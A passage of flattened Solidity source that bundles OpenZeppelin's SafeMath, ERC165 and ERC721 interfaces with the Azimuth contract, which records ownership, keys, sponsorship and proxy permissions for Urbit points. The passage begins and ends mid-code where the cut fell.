0); // Solidity automatically throws when dividing by 0 uint16 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint16 a, uint16 b) internal pure returns (uint16) { assert(b <= a); return a - b; } function add(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a + b; assert(c >= a); return c; } } // OpenZeppelin's SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // OpenZeppelin's ERC165.sol /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // OpenZeppelin's SupportsInterfaceWithLookup.sol /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } // OpenZeppelin's ERC721Basic.sol /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } // OpenZeppelin's ERC721.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // OpenZeppelin's ERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } // OpenZeppelin's AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // Azimuth's Azimuth.sol // Azimuth: point state data contract // // This contract is used for storing all data related to Azimuth points // and their ownership. Consider this contract the Azimuth ledger. // // It also contains permissions data, which ties in to ERC721 // functionality. Operators of an address are allowed to transfer // ownership of all points owned by their associated address // (ERC721's approveAll()). A transfer proxy is allowed to transfer // ownership of a single point (ERC721's approve()). // Separate from ERC721 are managers, assigned per point. They are // allowed to perform "low-impact" operations on the owner's points, // like configuring public keys and making escape requests. // // Since data stores are difficult to upgrade, this contract contains // as little actual business logic as possible. Instead, the data stored // herein can only be modified by this contract's owner, which can be // changed and is thus upgradable/replaceable. // // This contract will be owned by the Ecliptic contract. // contract Azimuth is Ownable { // // Events // // OwnerChanged: :point is now owned by :owner // event OwnerChanged(uint32 indexed point, address indexed owner); // Activated: :point is now active // event Activated(uint32 indexed point); // Spawned: :prefix has spawned :child // event Spawned(uint32 indexed prefix, uint32 indexed child); // EscapeRequested: :point has requested a new :sponsor // event EscapeRequested(uint32 indexed point, uint32 indexed sponsor); // EscapeCanceled: :point's :sponsor request was canceled or rejected // event EscapeCanceled(uint32 indexed point, uint32 indexed sponsor); // EscapeAccepted: :point confirmed with a new :sponsor // event EscapeAccepted(uint32 indexed point, uint32 indexed sponsor); // LostSponsor: :point's :sponsor is now refusing it service // event LostSponsor(uint32 indexed point, uint32 indexed sponsor); // ChangedKeys: :point has new network public keys // event ChangedKeys( uint32 indexed point, bytes32 encryptionKey, bytes32 authenticationKey, uint32 cryptoSuiteVersion, uint32 keyRevisionNumber ); // BrokeContinuity: :point has a new continuity number, :number // event BrokeContinuity(uint32 indexed point, uint32 number); // ChangedSpawnProxy: :spawnProxy can now spawn using :point // event ChangedSpawnProxy(uint32 indexed point, address indexed spawnProxy); // ChangedTransferProxy: :transferProxy can now transfer ownership of :point // event ChangedTransferProxy( uint32 indexed point, address indexed transferProxy ); // ChangedManagementProxy: :managementProxy can now manage :point // event ChangedManagementProxy( uint32 indexed point, address indexed managementProxy ); // ChangedVotingProxy: :votingProxy can now vote using :point // event ChangedVotingProxy(uint32 indexed point, address indexed votingProxy); // ChangedDns: dnsDomains have been updated // event ChangedDns(string primary, string secondary, string tertiary); // // Structures // // Size: kinds of points registered on-chain // // NOTE: the order matters, because of Solidity enum numbering // enum Size { Galaxy, // = 0 Star, // = 1 Planet // = 2 } // Point: state of a point // // While the ordering of the struct members is semantically chaotic, // they are ordered to tightly pack them into Ethereum's 32-byte storage // slots, which reduces gas costs for some function calls. // The comment ticks indicate assumed slot boundaries. // struct Point { // encryptionKey: (curve25519) encryption public key, or 0 for none // bytes32 encryptionKey; // // authenticationKey: (ed25519) authentication public key, or 0 for none // bytes32 authenticationKey; // // spawned: for stars and galaxies, all :active children // uint32[] spawned; // // hasSponsor: true if the sponsor still supports the point // bool hasSponsor; // active: whether point can be linked // // false: point belongs to prefix, cannot be configured or linked // true: point no longer belongs to prefix, can be configured and linked // bool active; // escapeRequested: true if the point has requested to change sponsors // bool escapeRequested; // sponsor: the point that supports this one on the network, or, // if :hasSponsor is false, the last point that supported it. // (by default, the point's half-width prefix) // uint32 sponsor; // escapeRequestedTo: if :escapeRequested is true, new sponsor requested // uint32 escapeRequestedTo; // cryptoSuiteVersion: version of the crypto suite used for the pubkeys // uint32 cryptoSuiteVersion; // keyRevisionNumber: incremented every time the public keys change // uint32 keyRevisionNumber; // continuityNumber: incremented to indicate network-side state loss // uint32 continuityNumber; } // Deed: permissions for a point // struct Deed { // owner: address that owns this point // address owner; // managementProxy: 0, or another address with the right to perform // low-impact, managerial operations on this point // address managementProxy; // spawnProxy: 0, or another address with the right to spawn children // of this point // address spawnProxy; // votingProxy: 0, or another address with the right to vote as this point // address votingProxy; // transferProxy: 0, or another address with the right to transfer // ownership of this point // address transferProxy; } // // General state // // points: per point, general network-relevant point state // mapping(uint32 => Point) public points; // rights: per point, on-chain ownership and permissions // mapping(uint32 => Deed) public rights; // operators: per owner, per address, has the right to transfer ownership // of all the owner's points (ERC721) // mapping(address => mapping(address => bool)) public operators; // dnsDomains: base domains for contacting galaxies // // dnsDomains[0] is primary, the others are used as fallbacks // string[3] public dnsDomains; // // Lookups // // sponsoring: per point, the points they are sponsoring // mapping(uint32 => uint32[]) public sponsoring; // sponsoringIndexes: per point, per point, (index + 1) in // the sponsoring array // mapping(uint32 => mapping(uint32 => uint256)) public sponsoringIndexes; // escapeRequests: per point, the points they have open escape requests from // mapping(uint32 => uint32[]) public escapeRequests; // escapeRequestsIndexes: per point, per point, (index + 1) in // the escapeRequests array // mapping(uint32 => mapping(uint32 => uint256)) public escapeRequestsIndexes; // pointsOwnedBy: per address, the points they own // mapping(address => uint32[]) public pointsOwnedBy; // pointOwnerIndexes: per owner, per point, (index + 1) in // the pointsOwnedBy array // // We delete owners by moving the last entry in the array to the // newly emptied slot, which is (n - 1) where n is the value of // pointOwnerIndexes[owner][point]. // mapping(address => mapping(uint32 => uint256)) public pointOwnerIndexes; // managerFor: per address, the points they are the management proxy for // mapping(address => uint32[]) public managerFor; // managerForIndexes: per address, per point, (index + 1) in // the managerFor array // mapping(address => mapping(uint32 => uint256)) public managerForIndexes; // spawningFor: per address, the points they can spawn with // mapping(address => uint32[]) public spawningFor; // spawningForIndexes: per address, per point, (index + 1) in // the spawningFor array // mapping(address => mapping(uint32 => uint256)) public spawningForIndexes; // votingFor: per address, the points they can vote with // mapping(address => uint32[]) public votingFor; // votingForIndexes: per address, per point, (index + 1) in // the votingFor array // mapping(address => mapping(uint32 => uint256)) public votingForIndexes; // transferringFor: per address, the points they can transfer // mapping(address => uint32[]) public transferringFor; // transferringForIndexes: per address, per point, (index + 1) in // the transferringFor array // mapping(address => mapping(uint32 => uint256)) public transferringForIndexes; // // Logic // // constructor(): configure default dns domains // constructor() public { setDnsDomains("example.com", "example.com", "example.com"); } // setDnsDomains(): set the base domains used for contacting galaxies // // Note: since a string is really just a byte[], and Solidity can't // work with two-dimensional arrays yet, we pass in the three // domains as individual strings. // function setDnsDomains(string _primary, string _secondary, string _tertiary) onlyOwner public { dnsDomains[0] = _primary; dnsDomains[1] = _secondary; dnsDomains[2] = _tertiary; emit ChangedDns(_primary, _secondary, _tertiary); } // // Point reading // // isActive(): return true if _point is active // function isActive(uint32 _point) view external returns (bool equals) { return points[_point].active; } // getKeys(): returns the public keys and their details, as currently // registered for _point // function getKeys(uint32 _point) view external returns (bytes32 crypt, bytes32 auth, uint32 suite, uint32 revision) { Point storage point = points[_point]; return (point.encryptionKey, point.authenticationKey, point.cryptoSuiteVersion, point.keyRevisionNumber); } // getKeyRevisionNumber(): gets the revision number of _point's current // public keys // function getKeyRevisionNumber(uint32 _point) view external returns (uint32 revision) { return points[_point].keyRevisionNumber; } // hasBeenLinked(): returns true if the point has ever been assigned keys // function hasBeenLinked(uint32 _point) view external returns (bool result) { return ( points[_point].keyRevisionNumber > 0 ); } // isLive(): returns true if _point currently has keys properly configured // function isLive(uint32 _point) view external returns (bool result) { Point storage point = points[_point]; return ( point.encryptionKey != 0 && point.authenticationKey != 0 && point.cryptoSuiteVersion != 0 ); } // getContinuityNumber(): returns _point's current continuity number // function getContinuityNumber(uint32 _point) view external returns (uint32 continuityNumber) { return points[_point].continuityNumber; } // getSpawnCount(): return the number of children spawned by _point // function getSpawnCount(uint32 _point) view external returns (uint32 spawnCount) { uint256 len = points[_point].spawned.length; assert(len < 2**32); return uint32(len); } // getSpawned(): return array of points created under _point // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getSpawned(uint32 _point) view external returns (uint32[] spawned) { return points[_point].spawned; } // hasSponsor(): returns true if _point's sponsor is providing it service // function hasSponsor(uint32 _point) view external returns (bool has) { return points[_point].hasSponsor; } // getSponsor(): returns _point's current (or most recent) sponsor // function getSponsor(uint32 _point) view external returns (uint32 sponsor) { return points[_point].sponsor; } // isSponsor(): returns true if _sponsor is currently providing service // to _point // function isSponsor(uint32 _point, uint32 _sponsor) view external returns (bool result) { Point storage point = points[_point]; return ( point.hasSponsor && (point.sponsor == _sponsor) ); } // getSponsoringCount(): returns the number of points _sponsor is // providing service to // function getSponsoringCount(uint32 _sponsor) view external returns (uint256 count) { return sponsoring[_sponsor].length; } // getSponsoring(): returns a list of points _sponsor is providing // service to // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getSponsoring(uint32 _sponsor) view external returns (uint32[] sponsees) { return sponsoring[_sponsor]; } // escaping // isEscaping(): returns true if _point has an outstanding escape request // function isEscaping(uint32 _point) view external returns (bool escaping) { return points[_point].escapeRequested; } // getEscapeRequest(): returns _point's current escape request // // the returned escape request is only valid as long as isEscaping() // returns true // function getEscapeRequest(uint32 _point) view external returns (uint32 escape) { return points[_point].escapeRequestedTo; } // isRequestingEscapeTo(): returns true if _point has an outstanding // escape request targetting _sponsor // function isRequestingEscapeTo(uint32 _point, uint32 _sponsor) view public returns (bool equals) { Point storage point = points[_point]; return (point.escapeRequested && (point.escapeRequestedTo == _sponsor)); } // getEscapeRequestsCount(): returns the number of points _sponsor // is providing service to // function getEscapeRequestsCount(uint32 _sponsor) view external returns (uint256 count) { return escapeRequests[_sponsor].length; } // getEscapeRequests(): get the points _sponsor has received escape // requests from // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getEscapeRequests(uint32 _sponsor) view external returns (uint32[] requests) { return escapeRequests[_sponsor]; } // // Point writing // // activatePoint(): activate a point, register it as spawned by its prefix // function activatePoint(uint32 _point) onlyOwner external { // make a point active, setting its sponsor to its prefix // Point storage point = points[_point]; require(!point.active); point.active = true; registerSponsor(_point, true, getPrefix(_point)); emit Activated(_point); } // setKeys(): set network public keys of _point to _encryptionKey and // _authenticationKey, with the specified _cryptoSuiteVersion // function setKeys(uint32 _point, bytes32 _encryptionKey, bytes32 _authenticationKey, uint32 _cryptoSuiteVersion) onlyOwner external { Point storage point = points[_point]; if ( point.encryptionKey == _encryptionKey && point.authenticationKey == _authenticationKey && point.cryptoSuiteVersion == _cryptoSuiteVersion ) { return; } point.encryptionKey = _encryptionKey; point.authenticationKey = _authenticationKey; point.cryptoSuiteVersion = _cryptoSuiteVersion; point.keyRevisionNumber++; emit ChangedKeys(_point, _encryptionKey, _authenticationKey, _cryptoSuiteVersion, point.keyRevisionNumber); } // incrementContinuityNumber(): break continuity for _point // function incrementContinuityNumber(uint32 _point) onlyOwner external { Point storage point = points[_point]; point.continuityNumber++; emit BrokeContinuity(_point, point.continuityNumber); } // registerSpawn(): add a point to its prefix's list of spawned points // function registerSpawned(uint32 _point) onlyOwner external { // if a point is its own prefix (a galaxy) then don't register it // uint32 prefix = getPrefix(_point); if (prefix == _point) { return; } // register a new spawned point for the prefix // points[prefix].spawned.push(_point); emit Spawned(prefix, _point); } // loseSponsor(): indicates that _point's sponsor is no longer providing // it service // function loseSponsor(uint32 _point) onlyOwner external { Point storage point = points[_point]; if (!point.hasSponsor) { return; } registerSponsor(_point, false, point.sponsor); emit LostSponsor(_point, point.sponsor); } // setEscapeRequest(): for _point, start an escape request to _sponsor // function setEscapeRequest(uint32 _point, uint32 _sponsor) onlyOwner external { if (isRequestingEscapeTo(_point, _sponsor)) { return; } registerEscapeRequest(_point, true, _sponsor); emit EscapeRequested(_point, _sponsor); } // cancelEscape(): for _point, stop the current escape request, if any // function cancelEscape(uint32 _point) onlyOwner external { Point storage point = points[_point]; if (!point.escapeRequested) { return; } uint32 request = point.escapeRequestedTo; registerEscapeRequest(_point, false, 0); emit EscapeCanceled(_point, request); } // doEscape(): perform the requested escape // function doEscape(uint32 _point) onlyOwner external { Point storage point = points[_point]; require(point.escapeRequested); registerSponsor(_point, true, point.escapeRequestedTo); registerEscapeRequest(_point, false, 0); emit EscapeAccepted(_point, point.sponsor); } // // Point utils // // getPrefix(): compute prefix ("parent") of _point // function getPrefix(uint32 _point) pure public returns (uint16 prefix) { if (_point < 0x10000) { return uint16(_point % 0x100); } return uint16(_point % 0x10000); } // getPointSize(): return the size of _point // function getPointSize(uint32 _point) external pure returns (Size _size) { if (_point < 0x100) return Size.Galaxy; if (_point < 0x10000) return Size.Star; return Size.Planet; } // internal use // registerSponsor(): set the sponsorship state of _point and update the // reverse lookup for sponsors // function registerSponsor(uint32 _point, bool _hasSponsor, uint32 _sponsor) internal { Point storage point = points[_point]; bool had = point.hasSponsor; uint32 prev = point.sponsor; // if we didn't have a sponsor, and won't get one, // or if we get the sponsor we already have, // nothing will change, so jump out early. // if ( (!had && !_hasSponsor) || (had && _hasSponsor && prev == _sponsor) ) { return; } // if the point used to have a different sponsor, do some gymnastics // to keep the reverse lookup gapless. delete the point from the old // sponsor's list, then fill that gap with the list tail. // if (had) { // i: current index in previous sponsor's list of sponsored points // uint256 i = sponsoringIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :sponsoringIndexes reference // uint32[] storage prevSponsoring = sponsoring[prev]; uint256 last = prevSponsoring.length - 1; uint32 moved = prevSponsoring[last]; prevSponsoring[i] = moved; sponsoringIndexes[prev][moved] = i + 1; // delete the last item // delete(prevSponsoring[last]); prevSponsoring.length = last; sponsoringIndexes[prev][_point] = 0; } if (_hasSponsor) { uint32[] storage newSponsoring = sponsoring[_sponsor]; newSponsoring.push(_point); sponsoringIndexes[_sponsor][_point] = newSponsoring.length; } point.sponsor = _sponsor; point.hasSponsor = _hasSponsor; } // registerEscapeRequest(): set the escape state of _point and update the // reverse lookup for sponsors // function registerEscapeRequest( uint32 _point, bool _isEscaping, uint32 _sponsor ) internal { Point storage point = points[_point]; bool was = point.escapeRequested; uint32 prev = point.escapeRequestedTo; // if we weren't escaping, and won't be, // or if we were escaping, and the new target is the same, // nothing will change, so jump out early. // if ( (!was && !_isEscaping) || (was && _isEscaping && prev == _sponsor) ) { return; } // if the point used to have a different request, do some gymnastics // to keep the reverse lookup gapless. delete the point from the old // sponsor's list, then fill that gap with the list tail. // if (was) { // i: current index in previous sponsor's list of sponsored points // uint256 i = escapeRequestsIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :escapeRequestsIndexes reference // uint32[] storage prevRequests = escapeRequests[prev]; uint256 last = prevRequests.length - 1; uint32 moved = prevRequests[last]; prevRequests[i] = moved; escapeRequestsIndexes[prev][moved] = i + 1; // delete the last item // delete(prevRequests[last]); prevRequests.length = last; escapeRequestsIndexes[prev][_point] = 0; } if (_isEscaping) { uint32[] storage newRequests = escapeRequests[_sponsor]; newRequests.push(_point); escapeRequestsIndexes[_sponsor][_point] = newRequests.length; } point.escapeRequestedTo = _sponsor; point.escapeRequested = _isEscaping; } // // Deed reading // // owner // getOwner(): return owner of _point // function getOwner(uint32 _point) view external returns (address owner) { return rights[_point].owner; } // isOwner(): true if _point is owned by _address // function isOwner(uint32 _point, address _address) view external returns (bool result) { return (rights[_point].owner == _address); } // getOwnedPointCount(): return length of array of points that _whose owns // function getOwnedPointCount(address _whose) view external returns (uint256 count) { return pointsOwnedBy[_whose].length; } // getOwnedPoints(): return array of points that _whose owns // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getOwnedPoints(address _whose) view external returns (uint32[] ownedPoints) { return pointsOwnedBy[_whose]; } // getOwnedPointAtIndex(): get point at _index from array of points that // _whose owns // function getOwnedPointAtIndex(address _whose, uint256 _index) view external returns (uint32 point) { uint32[] storage owned = pointsOwnedBy[_whose]; require(_index < owned.length); return owned[_index]; } // management proxy // getManagementProxy(): returns _point's current management proxy // function getManagementProxy(uint32 _point) view external returns (address manager) { return rights[_point].managementProxy; } // isManagementProxy(): returns true if _proxy is _point's management proxy // function isManagementProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].managementProxy == _proxy); } // canManage(): true if _who is the owner or manager of _point // function canManage(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.managementProxy) ) ); } // getManagerForCount(): returns the amount of points _proxy can manage // function getManagerForCount(address _proxy) view external returns (uint256 count) { return managerFor[_proxy].length; } // getManagerFor(): returns the points _proxy can manage // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getManagerFor(address _proxy) view external returns (uint32[] mfor) { return managerFor[_proxy]; } // spawn proxy // getSpawnProxy(): returns _point's current spawn proxy // function getSpawnProxy(uint32 _point) view external returns (address spawnProxy) { return rights[_point].spawnProxy; } // isSpawnProxy(): returns true if _proxy is _point's spawn proxy // function isSpawnProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].spawnProxy == _proxy); } // canSpawnAs(): true if _who is the owner or spawn proxy of _point // function canSpawnAs(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.spawnProxy) ) ); } // getSpawningForCount(): returns the amount of points _proxy // can spawn with // function getSpawningForCount(address _proxy) view external returns (uint256 count) { return spawningFor[_proxy].length; } // getSpawningFor(): get the points _proxy can spawn with // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getSpawningFor(address _proxy) view external returns (uint32[] sfor) { return spawningFor[_proxy]; } // voting proxy // getVotingProxy(): returns _point's current voting proxy // function getVotingProxy(uint32 _point) view external returns (address voter) { return rights[_point].votingProxy; } // isVotingProxy(): returns true if _proxy is _point's voting proxy // function isVotingProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].votingProxy == _proxy); } // canVoteAs(): true if _who is the owner of _point, // or the voting proxy of _point's owner // function canVoteAs(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.votingProxy) ) ); } // getVotingForCount(): returns the amount of points _proxy can vote as // function getVotingForCount(address _proxy) view external returns (uint256 count) { return votingFor[_proxy].length; } // getVotingFor(): returns the points _proxy can vote as // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getVotingFor(address _proxy) view external returns (uint32[] vfor) { return votingFor[_proxy]; } // transfer proxy // getTransferProxy(): returns _point's current transfer proxy // function getTransferProxy(uint32 _point) view external returns (address transferProxy) { return rights[_point].transferProxy; } // isTransferProxy(): returns true if _proxy is _point's transfer proxy // function isTransferProxy(uint32 _point, address _proxy) view external returns (bool result) { return (rights[_point].transferProxy == _proxy); } // canTransfer(): true if _who is the owner or transfer proxy of _point, // or is an operator for _point's current owner // function canTransfer(uint32 _point, address _who) view external returns (bool result) { Deed storage deed = rights[_point]; return ( (0x0 != _who) && ( (_who == deed.owner) || (_who == deed.transferProxy) || operators[deed.owner][_who] ) ); } // getTransferringForCount(): returns the amount of points _proxy // can transfer // function getTransferringForCount(address _proxy) view external returns (uint256 count) { return transferringFor[_proxy].length; } // getTransferringFor(): get the points _proxy can transfer // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getTransferringFor(address _proxy) view external returns (uint32[] tfor) { return transferringFor[_proxy]; } // isOperator(): returns true if _operator is allowed to transfer // ownership of _owner's points // function isOperator(address _owner, address _operator) view external returns (bool result) { return operators[_owner][_operator]; } // // Deed writing // // setOwner(): set owner of _point to _owner // // Note: setOwner() only implements the minimal data storage // logic for a transfer; the full transfer is implemented in // Ecliptic. // // Note: _owner must not be the zero address. // function setOwner(uint32 _point, address _owner) onlyOwner external { // prevent burning of points by making zero the owner // require(0x0 != _owner); // prev: previous owner, if any // address prev = rights[_point].owner; if (prev == _owner) { return; } // if the point used to have a different owner, do some gymnastics to // keep the list of owned points gapless. delete this point from the // list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous owner's list of owned points // uint256 i = pointOwnerIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :pointOwnerIndexes reference // uint32[] storage owner = pointsOwnedBy[prev]; uint256 last = owner.length - 1; uint32 moved = owner[last]; owner[i] = moved; pointOwnerIndexes[prev][moved] = i + 1; // delete the last item // delete(owner[last]); owner.length = last; pointOwnerIndexes[prev][_point] = 0; } // update the owner list and the owner's index list // rights[_point].owner = _owner; pointsOwnedBy[_owner].push(_point); pointOwnerIndexes[_owner][_point] = pointsOwnedBy[_owner].length; emit OwnerChanged(_point, _owner); } // setManagementProxy(): makes _proxy _point's management proxy // function setManagementProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.managementProxy; if (prev == _proxy) { return; } // if the point used to have a different manager, do some gymnastics // to keep the reverse lookup gapless. delete the point from the // old manager's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous manager's list of managed points // uint256 i = managerForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :managerForIndexes reference // uint32[] storage prevMfor = managerFor[prev]; uint256 last = prevMfor.length - 1; uint32 moved = prevMfor[last]; prevMfor[i] = moved; managerForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevMfor[last]); prevMfor.length = last; managerForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage mfor = managerFor[_proxy]; mfor.push(_point); managerForIndexes[_proxy][_point] = mfor.length; } deed.managementProxy = _proxy; emit ChangedManagementProxy(_point, _proxy); } // setSpawnProxy(): makes _proxy _point's spawn proxy // function setSpawnProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.spawnProxy; if (prev == _proxy) { return; } // if the point used to have a different spawn proxy, do some // gymnastics to keep the reverse lookup gapless. delete the point // from the old proxy's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous proxy's list of spawning points // uint256 i = spawningForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :spawningForIndexes reference // uint32[] storage prevSfor = spawningFor[prev]; uint256 last = prevSfor.length - 1; uint32 moved = prevSfor[last]; prevSfor[i] = moved; spawningForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevSfor[last]); prevSfor.length = last; spawningForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage sfor = spawningFor[_proxy]; sfor.push(_point); spawningForIndexes[_proxy][_point] = sfor.length; } deed.spawnProxy = _proxy; emit ChangedSpawnProxy(_point, _proxy); } // setVotingProxy(): makes _proxy _point's voting proxy // function setVotingProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.votingProxy; if (prev == _proxy) { return; } // if the point used to have a different voter, do some gymnastics 